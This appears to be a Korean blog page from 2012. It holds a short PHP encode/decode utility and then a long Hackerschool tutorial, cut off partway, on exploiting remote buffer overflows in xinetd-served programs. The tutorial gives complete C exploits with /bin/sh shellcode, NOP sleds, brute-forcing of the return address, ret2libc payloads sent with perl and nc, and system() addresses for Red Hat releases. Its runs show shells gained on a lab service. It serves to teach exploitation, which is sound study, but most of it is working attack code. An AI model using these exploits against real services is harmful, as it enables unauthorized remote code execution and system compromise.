2012. 6. 26. 22:12

//정은이(Scar) 가 쓴 인코딩 디코딩 페이지 php 소스.



<?php 

//error_reporting(E_ALL); 
//ini_set('display_errors','1'); 

if ($_POST['value']){ 
    
$value=$_POST['value']; 
    
$select=$_POST['select']; 

else{ 
    
$value=''
    
$select=''


switch (
$select){ 
    case 
'URL encode'
        
$result=urlencode($value); 
        break; 
    case 
'BASE64 encode'
        
$result=base64_encode($value); 
        break; 
    case 
'URL decode'
        
$result=urldecode($value); 
        break; 
    case 
'BASE64 decode'
        
$result=base64_decode($value); 
        break; 
    case 
'MD5 hash'
        
$result=md5($value); 
        break; 
    case 
'SHA1 hash'
        
$result=sha1($value); 
        break; 
    default: 
        
$array=1
        
$size=1
        
$div[0]=$value
        if (
strstr($value,' ')){ 
            
$div=explode(' ',$value); 
            
$size=count($div); 
        } 
        switch (
$select){ 
            case 
'Hex to Dec'
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=' '.hexdec($div[$i]); 
                } 
                break; 
            case 
'Hex to Ascii'
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=chr(hexdec($div[$i])); 
                } 
                break; 
            case 
'Dec to Hex'
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=' '.dechex($div[$i]); 
//                    if($result[$i]==7fffffff) 
                

                
$result[0]=dechex($div[0]); 
                break; 
            case 
'Dec to Ascii'
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=chr($div[$i]); 
                } 
                break; 
            case 
'Ascii to Hex'
                
$size=strlen($value); 
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=' '.dechex(ord($value[$i])); 
                } 
                break; 
            case 
'Ascii to Dec'
                
$size=strlen($value); 
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=' '.ord($value[$i]); 
                } 
                break; 
            default: 
                
$result=''
        } 


?> 

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
<HTML> 
    <HEAD> 
        <TITLE> encode/decode </TITLE> 
        <link type='text/css' rel='stylesheet' href='../style.css'> 
    </HEAD> 
    <BODY> 
        <form action='index.php' method='POST'> 
            <div class='crypto_input'> 
                <textarea class='crypto_input' name='value'><? 
                
if ($array==1){ 
                    
$result[0]=trim($result[0]); 
                    for (
$i=0;$i<count($result);$i++){ 
                        echo (
$result[$i]); 
                    } 
                } 
                else{ 
                    echo (
$result); 
                } 
                
?></textarea> 
                dec, hex는 공백 기호로 분리됩니다. 
            </div> 
            <br><br> 
            <div class='crypto_menu'> 
                <div class='crypto_content_box encode'> 
                    <input class='button' type='submit' name='select' value='URL encode'><br> 
                    <input class='button' type='submit' name='select' value='BASE64 encode'><br> 
                </div> 
                <div class='crypto_content_box decode'> 
                    <input class='button' type='submit' name='select' value='URL decode'><br> 
                    <input class='button' type='submit' name='select' value='BASE64 decode'><br> 
                </div> 
                <div class='crypto_content_box hash'> 
                    <input class='button' type='submit' name='select' value='MD5 hash'><br> 
                    <input class='button' type='submit' name='select' value='SHA1 hash'> 
                </div> 
                <div class='crypto_content_box hex'> 
                    <input class='button' type='submit' name='select' value='Hex to Dec'><br> 
                    <input class='button' type='submit' name='select' value='Hex to Ascii'> 
                </div> 
                <div class='crypto_content_box dec'> 
                    <input class='button' type='submit' name='select' value='Dec to Hex'><br> 
                    <input class='button' type='submit' name='select' value='Dec to Ascii'> 
                </div> 
                <div class='crypto_content_box ascii'> 
                    <input class='button' type='submit' name='select' value='Ascii to Hex'><br> 
                    <input class='button' type='submit' name='select' value='Ascii to Dec'> 
                </div> 
            </div> 
        </form> 
    </BODY> 
</HTML> 

Posted by k1rha
2012. 6. 26. 21:39

[출처 ] http://hyogeun.tistory.com/35



Posted by k1rha
2012. 6. 21. 02:18

리모트 버퍼 오버플로우 총정리

made by Hackerschool_mongil

 

이번 WGD에선 데몬 형태로 작동하는 네트워크 프로그램에 대한 버퍼 오버플로우

공격 기법들에 대해 학습해 보도록 하겠다. 지금까지 우리는 로컬 영역에 설치된

프로그램. , 우리가 쉘을 가지고 있는 상태에서 더욱 높은 권한(보통 root)

을 얻어내기 위해서 취약 프로그램을 공격해왔었다. 하지만, 이번의 설정은

우리가 Target 서버에 아무런 쉘 권한도 가지고있지 않고, 취약 프로그램이

Xinetd 혹은 독립적인 네트워크 프로그램 형태로 Target 서버의 특정 Port

연결된 상태, , 데몬으로 작동하고있다고 가정한다. 이와같은 형식으로 구성된

프로그램의 예는 우리 주위에서 쉽게 찾을 수 있다. Telnet, SSH, Apache,

Sendmail, POP 등등.. 이 프로그램들의 특징은 각각 자신의 고유한 Port 번호에

프로그램의 입출력이 연결되어 그 Port에서 들어오는 입력을 처리하고, 그에 대한 결과를 역시 같은 Port로 출력하며, 이러한 처리를 다수의 클라이언트에게 제공 하는 서버 형태의 프로그램이라는 점이다. 그럼 이러한 형태의 프로그램은 어떻게 구현 가능할까? 크게 두 가지 방법으로 나누어볼 수 있으며, 앞으로 이 두 가지 경우에 대한 공격 테스트를 진행하도록 하겠다.

 

네트워크 프로그램을 구현하는 두 가지 방법

 

1. 표준 입출력에 작동하는 일반적인 프로그램을 구현한 후, Inetd 혹은 Xinetd 데몬을 이용하여 네트워크로 연결 시킴.

2. 독립적인 네트워크 프로그램으로 구현하여 작동시킴.

 

이번 문서에서는 이 두 가지 경우 중 첫 번째에 대한 공격들만 다루어 보도록 할

예정이다. 그럼 먼저 1번에 해당하는 취약 프로그램을 한번 구현해보자.

 

======================================================

int main()

{

        char buffer[100];

        gets(buffer);

        printf("당신이 입력한 문자열 : %s\n", buffer);

}

======================================================

 

이 프로그램은 마치 로컬 환경을 위한 것으로 보인다. 하지만, 다음과 같은 과정을 통해 Xinet 데몬에 등록하면, Xinet 데몬에 의해 표준 입력 주체는 Xinetd 설정에 의해 지정된 Port가 되며, 표준 출력의 주체 역시 그 Port가 된다. 따라서 결국 위 프로그램이 네트워크 프로그램으로 작동하게 될 것이며이러한 과정은 내부적으로 디스크립터의 입출력을 변경해주는 dup() 계열의 함수에 의해 이루어진다.

 

프로그램을 Xinetd에 등록하는 과정.

 

1. 위 코드를 컴파일한다.

===========================================================

[root@ftz BOF]# gcc -o vuln vuln.c

/tmp/ccmC8XAk.o(.text+0x18): In function `main':

: the `gets' function is dangerous and should not be used.

[root@ftz BOF]#

===========================================================

친절하게도 gcc "gets 함수는 위험해!" 하며 주의를 준다. 하지만 우리는 gets 함수를 매우 좋아함으로 위 경고에 신경쓸 필요가 없다.

 

2. /etc/xinetd.d 디렉토리로 이동한 후, 다음과 같은 파일을 작성한다.

참고로 user 부분은 취약 프로그램을 실행시킬 권한을 정의하는데, root로 할 경우 내가 아닌 다른 사람에게 공격당할 경우 치명적임으로 일반 계정으로 지정해준다.

 

===================================================

[root@ftz xinetd.d]# cat > vuln

service vuln

{

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = guest

        server          = /root/BOF/vuln

        disable         = no

}

[root@ftz xinetd.d]#

===================================================

 

3. 위에서 service 오른쪽의 단어는 Port Name을 의미한다. 하지만, vuln이라는

이름의 Port는 정의되어있지 않음으로 이를 /etc/services 파일에 추가해 준다.

 

[root@ftz xinetd.d]# echo "vuln 31337/tcp" >> /etc/services

 

4. 이제 xinetd를 재구동시키면 지금 추가한 설정이 적용되어 31337번의 TCP

포트가 오픈되고, 그곳에 접속하면 앞서 작성한 vuln 프로그램을 만날 수 있게된다.

 

=======================================================================

[root@ftz BOF]# /etc/rc.d/init.d/xinetd restart

xinetd 를 정지함:                                          [  확인  ]

xinetd ()를 시작합니다:                                  [  확인  ]

[root@ftz BOF]#

=======================================================================

 

5. 접속 테스트

 

========================================================================

[root@ftz BOF]# telnet localhost 31337

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

mirable

당신이 입력한 문자열 : mirable

Connection closed by foreign host.

[root@ftz BOF]#

=======================================================================

 

, 그럼 이제부터 이 취약 프로그램에 대한 다음과 같은 7가지 공격 테스트를

시도해 보겠다.

 

1. 무작위로 쉘코드의 위치를 찾아내는 공격 1 (정확하게 쉘코드 찾기)

공격 효율성 : ★★☆☆☆

2. 무작위로 쉘코드의 위치를 찾아내는 공격 2 (NOP을 이용하면 편하다)

공격 효율성 : ★★★☆☆

3. 무작위로 쉘코드의 위치를 찾아내는 공격 3 (더욱 많은 NOP을 넣어볼까?)

공격 효율성 : ★★★★☆

4. 버퍼의 크기가 작을 때의 리모트 공격

공격 효율성 : ★★★★☆

5. 리모트 환경에서의 Return to Library를 이용한 공격

공격 효율성 : ★★☆☆☆

6. 단 한번에 RTL을 이용한 공격 성공시키기

공격 효율성 : ★★★☆☆

7. 단 한번에 RTL을 이용한 공격 성공시키기 2

공격 효율성 : ★★★★★

 

그럼 먼제 1번에 해당하는 공격을 해보자. 공격 시나리오는 다음과 같다. 먼저,

과연 몇 바이트를 입력해야 segfault가 발생하는지를 파악한다. 그 다음엔 buffer변수에 주입할 쉘코드를 생성한다. 이제 실제 해당 Port에 접속하여 쉘코드를 입력하고, return address가 저장되어있는 부분을 스택의 바닥 부분인 0xc000000 에서부터 4바이트씩 감소해나간다. 공격이 성공할 때까지 계속해서 이 과정을 반복하고, 만약 공격에 성공한다면 무차별 대입 과정은 종료되고 TAREGET 서버의 쉘이 터미널에 나타날 것이다.

 

일단, 몇 바이트를 입력했을 때 segfault가 발생하는지부터 확인해보자.

 

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x100; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]#

[root@ftz BOF]# perl -e 'printf "A"x150; printf "\n"' | nc localhost 31337

[root@ftzk BOF]#

==========================================================================

 

150바이트를 입력하니, 아무런 응답이 없이 연결이 끊겼다. 이처럼 local 환경에서 segfault가 나는 것과는 달리 리모트에선 아무런 반응 없이 바로 연결이 끊겨버리는 것이 특징이다. 100에선 segfault가 나지 않고, 150에선 났으니 버퍼의 크기가 100150 사이라는 것을 추측할 수 있다.

 

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]# perl -e 'printf "A"x130; printf "\n"' | nc localhost 31337

[root@ftz BOF]#

==========================================================================

 

점점 정확한 버퍼의 범위가 모습을 드러내고있다.

 

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]# perl -e 'printf "A"x124; printf "\n"' | nc localhost 31337

[root@ftz BOF]#

==========================================================================

 

정확히 124바이트에서 오버플로우가 일어났다. SFP가 변경되었을 때 역시 segfault가 난다는 사실을 감안하면, 121~124 영역은 SFP 영역이며, 125~128이 바로 RET 영역 이라고 추측해낼 수 있다. 또한, 버퍼의 크기가 120바이트로 예측되었지만, DUMMY 값이 있을 수 있음으로 실제로는 120바이트 이하가 될 가능성도 있다. (실제로는 100바이트이다.) 하지만, 우리에게 중요한 부분은 RET 영역임으로 DUMMY 값이 어떤 다른 중요한 영향을 미치지는 않는다.

 

그럼 이제 공격 STRING의 모습을 구성해보자.

 

취약 프로그램의 스택

[~~~~~~~~~~ 120 바이트의 버퍼 공간~~~~~~~~~~~~~][SFP][RET][~~~~~~~~~~~~~~]

 

공격 스트링

[~~~~쉘 코드~~~~][~~~~~~~~~쓰레기 값들~~~~~~~~~~~][SFP][RET]

↑                                                       │

└────────────────────────-───┘

        RET이 쉘 코드를 정확히 가리키도록 BRUTE FORCE

 

그리고 위 내용에 따라 Exploit을 구현한다. 완성된 Exploit이 아닌, 구현해 나가는 과정을 순차적으로 보이도록 하겠다.

 

※ BRUTE FORCE 테스트

 

============================

int main()

{

        int *ret;

        ret = (int *)0xc0000000;

        while(1){

                printf("%p\n", ret);

                ret--;

                sleep(1);

        }

}

============================

               

실행 결과               

 

============================

[root@ftz BOF]# ./a

0xc0000000

0xbffffffc

0xbffffff8

0xbffffff4

0xbffffff0

0xbfffffec

0xbfffffe8

0xbfffffe4

0xbfffffe0

(ctrl+c)

[root@ftz BOF]#

============================

 

.. 원하는 결과대로 잘 나오는군.. 이런 식으로 계속 모든 스택 영역을  헤치다 보면 결국엔 쉘코드의 위치를 찾아 쉘을 띄우게 될 것이다.

 

※ 120바이트 변수에 쉘코드를 넣자

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

 

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

 

        ret = (int *)0xc0000000;

       

        while(1){

                printf("%p\n", ret);

                ret--;

                sleep(1);

        }

}

==========================================================================

 

리턴 어드레스 부분(spy+124) ret 변수의 값을 넣자.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

 

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

 

        ret = (int *)0xc0000000;

        

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                ret--;

        }

}

==========================================================================

 

완성된 공격 STRING이 해당 IP Port로 전송되도록 한다.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

        char command[300];

 

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

 

        ret = (int *)0xc0000000;

 

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret--;

        }

}

==========================================================================

 

이것이 완성된 Exploit이다. Exploit 0xc0000000에서부터 4바이트씩 감소해

가며 쉘코드의 위치를 찾다가, 쉘코드가 발견되어 쉘이 실행된다면 id라는 문자열을

전송하여 화면에 이 명령의 결과가 출력되도록 해줄 것이다. 만약 특정 명령어가

아닌 직접 쉘을 사용하고 싶다면, 위 소스 중 printf "id\n" 부분을 삭제하면 된다.

 

이제 Exploit을 실행시켜 성능을 확인해보자.

 

==================================

[root@ftz BOF]# ./ex

0xc0000000

0xbffffffc

0xbffffff8

0xbffffff4

0xbffffff0

0xbfffffec

0xbfffffe8

... 생략 ...

0xbffffab0

0xbffffaac

0xbffffaa8

0xbffffaa4

0xbffffaa0

0xbffffa9c

uid=1000(guest) gid=1000(guest)

(공격 성공)

==================================

 

위와 같은 결과가 나오기까지는 약 1~2분의 시간밖에 소요되지 않는다. 약간 무식한 방법이긴 하지만 그리 비효율적인 공격 방법은 아니라는 말이다. 그리고 앞으로  공격 경험이 많아지면 버퍼의 위치가 대략 0xbffffb00 이하의 주소에 위치하게 된다는 사실도 알게 될 것임으로 Exploit을 수정하여 공격 시간을 훨씬 단축 시킬 수 있을 것이다. , 위 같은 BRUTE FORCE 공격 중 쉘 코드가 실행되지 않았 음에도 불구하고 터미널이 멈추는 경우가 있다. 이는 리턴 어드레스가 운 나쁘게도 while(1)과 같은 무한 루프 기계어를 만나게 되었을 경우이며, CTRL+C를 눌러 수동 으로 터미널을 빠져나오도록 해줘야한다.

 

다음엔 공격 확률을 높여서 쉘을 획득하는 시간을 최대한 높이는 것을 목적으로

Exploit을 수정해 나가보도록 하겠다. 먼저, 로컬에서 그랬던 것과 마찬가지로

NOP 코드를 충분히 넣어 쉘코드를 더욱 쉽게 실행할 수 있도록 유도해보자.

간단하게 다음과 같이 Exploit을 수정해 주면 될 것이다.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

        char command[300];

 

        memset(spy, '\x90', 128);        // NOP으로 가득 채운다.

        memcpy(spy+120-strlen(shellcode), shellcode, strlen(shellcode));

                // 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다.

 

        ret = (int *)0xc0000000;       

 

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret = ret - 20;        // 넉넉하게 80바이트씩 이동한다.

        }

}

==========================================================================

 

이제 설레이는 마음으로 수정된 Exploit을 실행해보자. 참고로 가장 마지막 라인인 ret - 20 "ret 주소를 80바이트 감소"를 의미하는 이유는 ret 포인터 변수의TYPE 4바이트에 해당하는 int이기 때문이다. 포인터의 +, - 연산은 해당 포인터 형의 바이트 수 단위에 따라 적용된다는 것을 기억하라. , 80바이트로 정한 이유는 SPY 변수의 쉘코드 앞쪽에 들어간 NOP 크기가 얼핏 계산하기에 80~100바이트 정도 되기 때문이다. 80~100바이트가 NOP임으로 그 NOP 지대의 단 한 부분만을 리턴 어드레스가 가리키기만 하면 결국 쉘코드가 실행될 것이다.

 

==========================================================================

[root@ftz BOF]# ./ex

0xc0000000

0xbfffffb0

0xbfffff60

sh: command substitution: line 1: syntax error near unexpected token `0@(?

sh: command substitution: line 1: `?

                                      B 0@(??

0xbfffff10

0xbffffec0

0xbffffe70

0xbffffe20

0xbffffdd0

0xbffffd80

0xbffffd30

0xbffffce0

0xbffffc90

0xbffffc40

0xbffffbf0

0xbffffba0

0xbffffb50

0xbffffb00

0xbffffab0

uid=1000(guest) gid=1000(guest)

(공격 성공)

==========================================================================

 

공격을 성공시키기까지 약 5초도 채 걸리지 않았다. 역시 NOP의 위력은 로컬에서나 리모트에서나 그 역할을 톡톡히 하는 것 같다.

이정도만 해도 리모트 공격의 성과는 충분히 만족할 만하다. 하지만, 재미를 위해 몇 가지 기술을 더 익혀보도록 하자.

 

다음에 설명할 내용은 더 많은 NOP을 주입하는 기술이다. 버퍼의 용량은 이미 120 바이트로 한정되어있다. 그런데 어떻게 더 많은 NOP을 주입할 것인가? 바로 답을 얘기하자면 "리턴 어드레스의 뒷 부분에 NOP과 셀코드를 넣는다" 이다.

 

[~~~~~쓰레기 값 120 바이트~~~~~~][SFP][RET][~~~~~~~~~~~NOP~~~~~~~~~~][쉘코드]

                                       │  ↑

                                       └─┘

                            이 부분을 가리키도록 BRUTE FORCE

 

위의 시나리오에 맞게 앞서 작성한 Exploit을 수정해보자.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[1000]; // 1000바이트를 할당한다.

        char command[1200];

 

        memset(spy, 'A', 1000);        // 버퍼 초기화

        memset(spy+128, '\x90', 1000);  // RET 이후를 NOP으로 가득 채운다.

        memcpy(spy+1000-strlen(shellcode), shellcode, strlen(shellcode));

        // 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다.

 

        ret = (int *)0xc0000000;       

 

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret = ret - 200;        // 넉넉하게 800바이트씩 이동한다.

        }

}

==========================================================================

 

이제 더욱 설레이는 마음으로 Exploit을 실행해보자.

 

=====================================

[root@ftz BOF]# ./ex

0xc0000000

0xbffffce0

uid=1000(guest) gid=1000(guest)

=====================================

 

성과가 엄청나다. 단 두 번만에 공격을 성공시켰다. 이 공격을 사용할 때의 의할 점은 spy 변수의 크기를 너무 과하게 잡으면, 스택의 영역을 벗어나 0xc0000000 뒷 쪽의 커널을 건드려 공격이 성공하기도 전에 프로그램이 종료되는 수가 다는 점이다. 대략 800 바이트의 spy 변수를 잡아주면 가장 무난하다.

 

이제 다음에 테스트해 볼 내용은 바로 버퍼의 크기가 매우 작을 때의 리모트 공격 이다. 취약 프로그램의 소스가 다음과 같다고 가정해보자.

 

======================================================

int main()

{

        char buffer[8];

        gets(buffer);

        printf("당신이 입력한 문자열 : %s\n", buffer);

}

======================================================

 

버퍼의 크기가 매우 작음으로, 쉘코드를 주입할 공간이 없다. 하지만, 이에 대한

답은 이미 나왔다. 바로 앞서 배웠던 "RET 뒷 쪽에 NOP 넣기" 기법을 사용하면 된다.

공격 과정과 결과는 앞서 했던 것과 동일함으로 생략하도록 하겠다. (Exploit에서 RET이 저장되는 위치와 변수로 들어갈 쓰레기 값의 크기만 수정하면 될 것이다.)

 

, 다음 차례는 리모트 환경에서의 Return To Library 기법 활용법이다. 이런

공격 방식을 사용해야하는 경우는 거의 없겠지만, 가끔 wargame이나 hacking event등에서 문제를 위해 출제되는 경우가 있다.

 

일단, 우리가 사용할 라이브러리는 system() 함수라고 가정한다. 그럼, 이 함수의 주소를 어떻게 찾아낼 것인가?

 

이 함수는 /lib/i686/libc-2.2.5.so 공유 라이브러리에 존재하며, 프로세스가 실행 될 때 보통 42000000~4212c000 사이의 주소에 적재된다. 그럼 과연 이 주소를 모두 샅샅이 검색하여 system() 함수의 주소를 찾아야할까? 아마도 아무런 힌트도 없는 상황이라면 이 방법이 정석이겠지만, 다음과 같은 사실을 안다면 매우 쉽게 system 함수의 주소를 찾아낼 수 있다. 그 사실은 바로 "각 리눅스 배포본들의 system  함수 주소는 동일하다" 이다. , A라는 서버가 레드햇 8.0을 사용하고 있고, B라는 서버 역시 레드햇 8.0을 사용하고 있다면, A에서 조사된 system 함수의 주소가 B에서 조사된 system 함수의 주소와 동일하다는 말이다.

다음은 이 문서를 위하여 미리 조사한 각 배포본들의 system 함수 주소이다.

 

각 배포본들의 system 함수 주소 모음 (차후 계속 업데이트 예정)

 

=========================

레드햇 6.2 : 0x4005aae0

레드햇 7.3 : 0x42049e54

레드햇 9.0 : 0x4203f2c0

=========================

 

데몬으로 작동 중인 취약 프로그램의 환경이 레드햇 버젼 몇인지는 알 수 없을

것이다. 따라서, 위의 값들을 하나씩 차례대로 대입해나가며 확인을 하도록 한다.

 

===========================================================================

[root@ftz BOF]# perl -e 'printf "A"x124; printf "\xe0\xaa\x05\x40"; printf

"\n"' | nc localhost 31337

[root@ftz BOF]# perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42"; printf

"\n"' | nc localhost 31337

sh: [?? command not found

[root@ftz BOF]#

===========================================================================

 

0x42049e54에서 command not found가 나타났다. 이로써 타겟의 환경이 레드햇 7.3임과 공유 라이브러리 내의 system 함수 위치를 알 수가 있다.

 

그럼 이제 필요한 것은 "/bin/bash", "/bin/sh", "bash", "sh" 등 쉘 명령을 의미 하는 문자열의 주소이다. 안타깝지만 이 문자열의 주소 역시 지금의 상황에서는 기가 막히게 찾아 내는 특별한 방법이 없다. 아무리 system() 함수의 주소를  알고 있다 하더라도 인자로 들어갈 문자열의 주소를 BRUTE FORCE로 찾아 내야 하기  때문에 리모트 상에서 RTL 기법은 그다지 메리트가 있지 않다. (하지만, 뒤에서 설명되는 RTL 응용 기법에서는 얘기가 달라진다.)

 

RTL 기법을 공부한 경험이 있다면, 강제로 호출된 system() 함수의 인자가 return address + 8 부분에 위치하게 된다는 사실을 알고 있을 것이다. 이 점을 감안하여 Brute Force 기능을 가진 Exploit을 구현해보자.

 

==========================================================================

#include <stdio.h>

 

int main()

{

        int *arg;

        char command[200];

 

        arg = (int *)0xc0000000;     // system 함수의 인자로 들어갈 주소 값.

 

        while(1){

                printf("&arg = %p\n", arg);

                sprintf(command, "(printf \"id\\n\" | (perl -e 'printf \"sh\\0\\0\"x31; printf \"\\x54\\x9e\\x04\\x42AAAA\"; printf \"%s\\n\"';cat)) | nc localhost 31337", &arg);

                system(command);

                arg--;          // 인자의 예상 주소를 4바이트씩 감소.

        }

}

 

==========================================================================

 

sprintf() 부분이 조금 조잡해 보이지만, 다음과 같이 정리해서 보면 쉽게 이해가 갈 것이다.

 

정리

$ perl -e 'printf "sh\0\0"x31; printf "\x54\x9e\x04\x42AAAA"; printf "?\n"

 

분석

printf "sh\0\0"x31 : 쉘을 의미하는 sh 명령이다. 인자로 불러질 때 문자열의 끝을 인식하도록 하기 위해 NULL을 넣어주었고, 4바이트 단위를 맞추기 위해 또 한번의 NULL을 넣어주었다. 이것이 저장되는 부분은 취약 프로그램의 지역 변수 이며, 0xc0000000 주소에서 4바이트씩 감소시키다 보면 언젠가는 이 부분을 가리 켜서 쉘을 실행하게 될 것이다.

 

printf "\x54\x9e\x04\x42AAAA" : system 함수의 주소이며, 리턴 어드레스를 덮어 쓰게 된다. 그 뒤의 AAAA GARBAGE 4바이트이다. 리턴 어드레스로부터 8바이트  뒷 쪽의 값을 system 함수의 인자로 사용하기 때문이다.

 

printf "?\n" : BRUTE FORCE로 구한 인자의 주소가 입력되는 부분이다. ? 부분에 주소 값이 저장된다.

 

이렇게 보니 확실히 쉽다. 참고로 앞쪽의 printf "id\n" 부분은 공격에 성공하여 쉘을 획득한 후, 화면에 아무것도 나타나지 않아 우리가 공격이 성공했는지를 알기 어렵기 때문에 id 명령의 결과가 출력되도록 한 것이다.

 

이제 이 Exploit을 실행시켜보자.

 

====================================

[root@ftz BOF]# ./ex

&arg = 0xc0000000

sh: AAAA: command not found

&arg = 0xbffffffc

&arg = 0xbffffff8

... 생략

sh: 000: command not found

&arg = 0xbfffff2c

&arg = 0xbfffff28

&arg = 0xbfffff24

&arg = 0xbfffff20

&arg = 0xbfffff1c

uid=1000(guest) gid=1000(guest)

(공격 성공)

====================================

 

1분도 채 안되서 0xbfffff1c에서 쉘 명령을 발견하였다. 그런데 얼핏 봐도 이 주소 영역가 취약 프로그램의 로컬 변수 영역은 아닌 것 같다. 과연 어떤 부분이길래 쉘 명령이 있는 것일까? GDB로 조사해보면.. 바로 "SHELL=/bin/bash" , 환경 변수에서 /bin/bash 문자열을 찾아냈던 것이다. 따라서 Exploit string의 앞 쪽에 "sh\0\0"을 가득 매웠던 것은 의미가 없었다. , 만약 이 환경변수의 "/bin/bash" 문자열의 시작 주소가 4바이트 단위로 딱 떨어지지 않았었다면, 위처럼 쉽게 쉘이 뜨지 않았을 것이다. 따라서 변수에 특정 문자열이 들어가게 하는 것이 아주 필요가  없는 것도 아니다. 하지만, 4바이트가 아닌 1바이트 단위로 arg의 주소를 감소시켜 나갔다면 얘기는 또 달라진다. 1바이트 단위로 BRUTE FORCE를 진행하면 100% 환경 변수의 "/bin/bash"를 참조할 수 있기 때문이다. 이런 점들을 모두 감안하여 각자가 알아서 가장 합리적인 방법으로 공격을 시도하기 바란다.

 

단 한번에 RTL을 이용한 공격 성공시키기

 

앞서 진행한 공격 결과를 자세히 보면 신기한 점이 발견된다.

 

====================================

[root@ftz BOF]# ./ex

&arg = 0xc0000000

sh: AAAA: command not found

...

====================================

 

바로 주소가 0xc0000000일 때, 우리가 GARBAGE로 넣었던 AAAA가 튀어나온 것이다.

어째서 이러한 결과가 나타난 것일까? 일단, return address + 8 부분에 들어가게 되는 값을 생각해보자. 이 부분의 값은 sprintf(command, "...%s..."), &arg); 부분에 의하여 &arg의 값. , 0xc0000000이 들어갈 것 같다. 하지만 조금 더 생각 해보면 0xc0000000 BIG ENDIAN으로 변환되어 0x000000c0과 같이 반대로 적용 된다는 것을 알 수 있다. 그럼, 첫 바이트가 NULL(0x00)이기 때문에 결국 return address + 8 부분에는 아무 것도 저장이 되지 않는다. 그리고, 그 대신 다음 이어지는 printf "\n" 부분에 의해서 엔터 키가 입력이 된다. 이제 취약 프로그램으로 이 문자열이 전송이 되고, 엔터인 \n은 문자열의 끝이었음을 의미함으로 자동으로 gets 함수에 의해 NULL로 변환 된다.

 

, 그럼 과연 이 상황에서의 스택에 어떤 것들이 담기게 되는지 dumpcode를 이용하여 살펴보자. 다음은 SFP 직전까지만 덮도록 문자열을 보낸 것의 덤프 결과이다.

 

0xbffffaa0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffab0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

